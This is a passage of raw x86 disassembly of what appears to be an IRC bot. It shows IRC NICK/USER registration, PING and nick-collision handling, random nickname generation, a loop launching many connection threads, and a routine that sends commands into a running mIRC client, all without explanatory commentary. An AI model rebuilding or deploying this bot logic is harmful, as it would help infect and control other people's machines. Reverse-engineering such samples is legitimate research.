		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387B4
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387A4

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF0[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2690CE2h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27F0754h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27F0000h
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 28001C9h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2800000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		nop
		call	near ptr 27F0C7Ah
		push	edi
		nop
		call	near ptr 26708E6h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
